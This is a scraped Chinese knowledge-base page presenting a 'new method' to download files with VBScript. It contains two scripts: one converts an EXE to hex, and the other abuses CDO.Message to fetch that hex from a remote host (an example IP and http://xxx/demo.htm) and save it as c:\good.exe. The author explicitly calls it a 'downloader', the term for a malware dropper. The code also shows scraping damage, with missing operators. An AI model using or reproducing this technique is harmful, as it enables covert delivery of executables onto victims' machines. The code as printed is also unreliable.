主页 > 知识库 > VBS下载文件的新方法

VBS下载文件的新方法

热门标签:服务器配置 呼叫中心市场需求 网站文章发布 银行业务 智能手机 美图手机 铁路电话系统 检查注册表项
BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================
复制代码 代码如下:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt 16 Then Bin2Str=Bin2Str"0"
Bin2Str=Bin2Str Hex(bt)
Next
End Function

======================================
下载者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ssChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe
您可能感兴趣的文章:
  • 用ASP VBS xmlhttp adodbstream下载和保存图片的代码
  • vbs脚本病毒生成器 下载
  • vbs教程 chm下载
  • VBS 下载方法(CDO.MESSAGE)
  • vbs结合wget 实现下载网站图片

标签:新疆 沧州 河南 沈阳 红河 长治 上海 乐山

巨人网络通讯声明:本文标题《VBS下载文件的新方法》,本文关键词  ;如发现本文内容存在版权问题,烦请提供相关信息告之我们,我们将及时沟通与处理。本站内容系统采集于网络,涉及言论、版权与本站无关。
  • 相关文章
  • 收缩
    • 微信客服
    • 微信二维码
    • 电话咨询

    • 400-1100-266